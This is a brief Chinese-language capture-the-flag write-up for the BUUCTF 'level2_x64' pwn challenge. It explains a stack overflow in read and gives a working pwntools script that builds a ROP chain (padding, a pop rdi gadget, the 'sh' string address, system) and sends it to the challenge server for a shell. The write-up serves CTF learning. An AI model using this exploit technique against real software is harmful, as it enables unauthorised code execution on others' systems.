事前准备
64b小端序,除了不能shellcode还挺开放的
看看ida:
symtem sh都在
主函数没东西:
调用的函数很明显
漏洞及其利用思路
read函数的溢出很明显,sytem和sh都是现成的,只需要ROPgadget找一下rdi的调用就行(64传参的第一个寄存器)
exp:
from pwn import*
elf=ELF('./level2_x64')
#p=process('./level2_x64')
p=remote('node4.buuoj.cn',26523)
symadd=0x4004c0
shadd=0x600a90
mainadd=0x400620
rdiadd=0x4006b3
payload=b'a'*(128+8)+p64(rdiadd)+p64(shadd)+p64(symadd)
#之所以rdi和sym间不插入retadd是因为那段gadget自带有ret
p.sendlineafter(b"Input:",payload)
p.interactive()